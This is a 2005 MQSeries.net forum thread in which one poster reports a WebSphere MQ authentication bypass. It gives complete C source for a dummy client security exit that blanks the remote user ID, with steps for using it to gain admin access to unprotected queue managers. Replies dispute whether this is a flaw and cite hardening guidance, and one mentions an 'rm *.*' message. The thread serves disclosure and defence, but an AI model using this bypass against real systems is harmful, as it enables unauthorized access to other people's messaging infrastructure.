ASG
IBM
Zystems
Cressida
Icon
Netflexity
 
  MQSeries.net
Search  Search       Tech Exchange      Education      Certifications      Library      Info Center      SupportPacs      LinkedIn  Search  Search                                                                   FAQ  FAQ   Usergroups  Usergroups
 
Register  ::  Log in Log in to check your private messages
 
RSS Feed - WebSphere MQ Support RSS Feed - Message Broker Support

MQSeries.net Forum Index » News/Updates » New MQ Security Hole Found

Post new topic  Reply to topic
 New MQ Security Hole Found « View previous topic :: View next topic » 
Author Message
RogerLacroix
PostPosted: Tue Apr 26, 2005 9:07 pm    Post subject: New MQ Security Hole Found Reply with quote

Jedi Knight

Joined: 15 May 2001
Posts: 3254
Location: London, ON Canada

All,

Drum roll please..................................!.!.!.!

While doing some extensive and weird testing for my new security solutions, I discovered a new security hole and it goes like this:

For programs written using C/C++, COBOL, Visual Basic (VB), etc. having it invoke a simple dummy client-side security exit (no code other than a ‘return’) will cause the client-side MCA to set the RemoteUserID to blank!!!

Go ahead and say 'so what'!

Ok, since you asked, he's a perfect use for this security hole. Lets say you have WMQ Server v5.3 installed on your PC but your UserID is NOT in any 'mqm' group on the OS/400 / Unix / Linux / Windows Server boxes. Hence, you cannot use your MQ Explorer. Right!!!

So, compile my sample dummy security exit, then open MQ Explorer and right-click on 'WebSphere MQ', and select Properties. In the 'Security Exit Name' field put the path & filename of the dummy security exit. i.e. C:\temp\mq\dummy(SE)

Now close and re-open MQ Explorer, point to any queue manager in your environment that does not use some sort of protection and viola, you are in (using a blank UserID)!!!!!!!!!!!!!!!!!!!

Oh, this will work with any program. i.e. MO71 - it allows you to connect to a mainframe (z/OS)!!!

Code:
/**
 * dummy client-side security exit
 */
#include <stdio.h>
#include <stdlib.h>

#include <cmqc.h>                 /* MQI  */
#include <cmqxc.h>                /*      */

/*
 * Unix dummy function used as entry point to exit
 */
extern void MQENTRY MQStart(void) {;}

#if defined (WIN32)
__declspec (dllexport) void MQENTRY SE (PMQCXP     pChannelExitParms,
                                        PMQCD      pChannelDefinition,
                                        PMQLONG    pDataLength,
                                        PMQLONG    pAgentBufferLength,
                                        PMQBYTE    pAgentBuffer,
                                        PMQLONG    pExitBufferLength,
                                        PMQPTR     pExitBufferAddr);
#endif

extern void MQENTRY SE(PMQCXP     pChannelExitParms,
                       PMQCD      pChannelDefinition,
                       PMQLONG    pDataLength,
                       PMQLONG    pAgentBufferLength,
                       PMQBYTE    pAgentBuffer,
                       PMQLONG    pExitBufferLength,
                       PMQPTR     pExitBufferAddr)
{
   pExitBufferAddr   = pExitBufferAddr;
   pExitBufferLength = pExitBufferLength;

   /*
    * check if security exit has been invoked
    */
   if(pChannelExitParms->ExitId != MQXT_CHANNEL_SEC_EXIT)
   {
      pChannelExitParms->ExitResponse = MQXCC_SUPPRESS_FUNCTION;
      return;  /* hard exit!! */
   }
   else
   {
      /* switch on ExitReason to see why exit was invoked */
      switch(pChannelExitParms->ExitReason)
      {
         case MQXR_INIT:         /* Initialization  */
         case MQXR_TERM:         /* Termination   */
         case MQXR_INIT_SEC:     /* Initiate security exchange */
         case MQXR_SEC_MSG:      /* Security message  */
         {
            pChannelExitParms->ExitResponse  = MQXCC_OK;
            break;
         }

         /*
          * Unsupported exit reason - abort security exchange
          */
         default:
         {
            pChannelExitParms->ExitResponse  = MQXCC_SUPPRESS_FUNCTION;
            break;
         }
      }  /* switch - ExitReason */
   }

   return;
}

Go ahead, be an MQAdmin today.

Regards,
Roger Lacroix
Capitalware Inc.
_________________
Capitalware: Transforming tomorrow into today.
Connected to MQ!
Twitter
Back to top
View user's profile Send private message Visit poster's website
bduncan
PostPosted: Tue Apr 26, 2005 11:21 pm    Post subject: Reply with quote

Padawan

Joined: 11 Apr 2001
Posts: 1554
Location: Silicon Valley

And have you contacted IBM about this? And if so, have they completely ignored you? (in other words, adopted the Microsoft security hole model?)
_________________
Brandon Duncan
IBM Certified MQSeries Specialist
MQSeries.net forum moderator
Back to top
View user's profile Send private message Visit poster's website AIM Address
oz1ccg
PostPosted: Wed Apr 27, 2005 12:01 am    Post subject: Reply with quote

Yatiri

Joined: 10 Feb 2002
Posts: 628
Location: Denmark

Roger,

don't you read the Intercommunications manual ?

This part was found in the MQCD part explaining the RemoteUserIdentifier parameter:

Quote:
The remote user identifier is relevant only for channels with a ChannelType of MQCHT_CLNTCONN or MQCHT_SVRCONN.

- For a security exit on an MQCHT_CLNTCONN channel, this is a user identifier that has been obtained from the environment (from an environment variable on OS/2 or from the system on UNIX platforms and Windows.) The exit can choose to send it to the security exit at the server.

- For a security exit on an MQCHT_SVRCONN channel, this field may contain a user identifier which has been obtained from the environment at the client, if there is no client security exit. The exit may validate this user ID (possibly in conjunction with the password in RemotePassword ) and update the value in MCAUserIdentifier.


It's the responsibility of the client exit to provide the correct information, this is why Exits normally works in pairs.....

And this is one of the reasons why BlockMqmUsers was added to BlockIP2 way back in time....

And now everybody can penetrate every non protected WebSphere MQ environment just by using this piece of code, Great!

BTW: Long time ago (when I started with MQ), somebody raised a complaint to IBM: Please open the SYSTEM.DEF.SVRCONN, because at first time the MCAUSER was set to something like NoBody....

I just have to say: IT WORKS AS DESIGNED

Just my $0.02
_________________
Regards, Jørgen
Home of BlockIP2, the last free MQ Security exit ver. 3.00
Cert. on WMQ, WBIMB, SWIFT.
Back to top
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
jefflowrey
PostPosted: Wed Apr 27, 2005 3:13 am    Post subject: Reply with quote

Grand Poobah

Joined: 16 Oct 2002
Posts: 19981

Should I post the code to create an MQTMC2 message that contains "rm *.*"?
_________________
I am *not* the model of the modern major general.
Back to top
View user's profile Send private message
RogerLacroix
PostPosted: Wed Apr 27, 2005 8:16 am    Post subject: Reply with quote

Jedi Knight

Joined: 15 May 2001
Posts: 3254
Location: London, ON Canada

Hi,
Quote:
don't you read the Intercommunications manual ?

Yes, you have listed a piece of the manual but it does NOT say anything about the MCA not filling in the RemoteUserIdentifier value if a client-side security exit is defined.

Funny that when there is no client-side security exit that the client-side MCA fills in the MQCD fields of:
- QMgrName
- ChannelName
- ConnectionName
- RemoteUserIdentifier
- etc...

But when define a client-side security exit then the MCA fills in all of the same fields but EXCLUDES the RemoteUserIdentifier field.

It says "The exit can choose to send it to the security exit at the server."

Therefore, I read that as it was filled in and the client-side security exit can choose to remove it (blank it out) or set it to something else!!! The client-side security exit did not alter it, therefore, as per the manual, RemoteUserIdentifier should have contained my UserID.

Quote:
So To me it seems like it works as designed....

I still beg to differ. But 'it works as designed' does not mean it is not a security risk!!


Regards,
Roger Lacroix
Capitalware Inc.
_________________
Capitalware: Transforming tomorrow into today.
Connected to MQ!
Twitter
Back to top
View user's profile Send private message Visit poster's website
oz1ccg
PostPosted: Wed Apr 27, 2005 3:10 pm    Post subject: Reply with quote

Yatiri

Joined: 10 Feb 2002
Posts: 628
Location: Denmark

Well, security risk......

I'll agree on it's not crystal clear written, but still every WMQ system administrator should know how to protect their system. And allways check the passed userid.... and refuse illegale ones, or even better do authentication.

This small snip is comming from the security book:
Chapter: Setting up WebSphere MQ client security
Quote:
If any server-connection channel definitions exist that have the MCAUSER attribute set to blank, clients can use this channel definition to connect to the queue manager with access authority determined by the user ID supplied by the client.
This might be a security exposure if the system on which the queue manager is running allows unauthorized network connections. The WebSphere MQ default server-connection channel (SYSTEM.DEF.SVRCONN) has the MCAUSER attribute set to blank.
To prevent unauthorized access, update the MCAUSER attribute of the default definition with a user ID that has no access to WebSphere MQ objects.


There are more exposures.... some even better hidden....

Some great folks did a good job some time ago, a Redbook: WebSphere MQ Security in an Enterprise.

One thing is 100% shure: every queuemenager with "open" SVRCONNs needs security exits and/or SSL requirements.

Just my $0.02
_________________
Regards, Jørgen
Home of BlockIP2, the last free MQ Security exit ver. 3.00
Cert. on WMQ, WBIMB, SWIFT.
Back to top
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
Display posts from previous:   
Post new topic  Reply to topic Page 1 of 1

MQSeries.net Forum Index » News/Updates » New MQ Security Hole Found
Jump to:  



You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Protected by Anti-Spam ACP
 
 


Theme by Dustin Baccetti
Powered by phpBB © 2001, 2002 phpBB Group

Copyright © MQSeries.net. All rights reserved.